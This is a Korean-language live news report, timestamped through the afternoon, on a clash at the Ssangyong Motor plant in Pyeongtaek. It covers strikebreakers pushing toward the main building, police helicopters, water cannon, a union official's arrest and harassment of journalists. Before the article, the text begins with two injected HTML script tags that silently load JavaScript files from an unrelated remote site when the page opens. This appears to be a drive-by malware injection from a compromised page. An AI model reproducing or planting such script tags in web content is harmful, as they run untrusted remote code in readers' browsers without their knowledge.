<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> [16시 10분]현재 경찰이 \'작전 들어온다\'며 공장밖에 주차되어 있는 차량을 빼고 있는 것으로 알려졌다. 본관 앞 구사대는 본관으로 구호를 오치며 한발씩 나가고 있고 일부 관리자들은 본관에 진입했다.
[16시 03분]정문에 놓여 있던 컨테이너 박스 4개중 3개가 치워졌고 가대위 천막등이 완전히 부서졌다. 민주노총 경기본부 깃발을 발로 밟아 깃대를 부러뜨리는 게 목격되기도 했다. 본관 앞 구사대 집회도 계속되고 있다.
[15시 57분]쌍용차 정문에 쌓여 있던 컨테이너 박스가 관리자들에 의해 치워지고 있다. 한편 쌍용차 사측은 미디어충청 기자에게 \"XX년아, 너는 사진찍지마\"등의 입에 담지 못할 욕설을 퍼부으며 사진등 취재를 적극적으로 방해해 연합뉴스 기자로부터 항의를 받기도 했다.
[15시 47분]현재 관리자들은 쌍용차 공장 철조망등을 제거하고 있고 평택경찰서 관계자는 이를 지켜보고 있다.
[15시 31분]구사대는 본관앞에 연좌해 \'시간없다, 문을 열라!\' 구호를 외치고 박수치며 \'오 필승! 코리아\'를 부르고 있다. 한편 상황이 조금 진정되자 경찰은 다시 \"현명한 판단을 부탁한다\"는 방송을 하고 있다.
한편 금속노조 정갑득 위원장은 \"이런 상황에서 금속노조 차원에서 논의 되거나 준비되고 있는 게 있냐\"는 기자의 질문에 \"월요일 긴급회의를 통해 결정해야 할 것같다. 현재 사람을 보내 경찰책임자 면담을 요구하고 있는 상태\"라며 마지막으로 \"비참하다\"며 한숨을 쉬었다.
[15시 17분]저공비행하는 경찰헬기로 바람이 날리는 사이 순식간에 구사대가 본관앞까지 진입했다. 현재 노조와 구사대 사이에 몸싸움이 벌어져 양측 모두 크고 작은 부상자가 속출하고 있다.
한편 충돌 직전 현장에 있던 금속노조 정갑득 위원장은 경찰 책임자와 대화를 요구하였으나 \"경찰 책임자 없다\"는 말만 들었다고 한다.
[14시 55분] 경찰은 방송으로 \'불법 폭력행위 금지 및 검거\'를 밝히고 있고 살수차를 배치했다. 경찰의 경고방송은 주로 노조를 향해 이루어지고 있다.
한편 대치중인 상황에서도 앞장서서 노조와 대치하고 있는 관리자들과는 달리 한켠에선 비해고자와 해고자가 만나 서로 담배불을 붙혀주고 \'어떻게 지내냐?\' 안부를 묻는 장면이 목격되기도 했다.
14시 30분경 쌍용차 노조 김정욱 기획부장이 경찰 사복체포조에 의해 연행된 것으로 확인되었다.
구사대 진입시 관리자들에게 방송중이던 노조차량 옆에 서 있던 김정욱 기획부장을 경찰 사복체포조가 들어와 잡아갔다고 목격자들은 전했다.
또 경찰헬기가 주차장에 착륙해 책임자로 보이는 사람을 태워 다시 이륙하는 모습이 목격되기도 했다.
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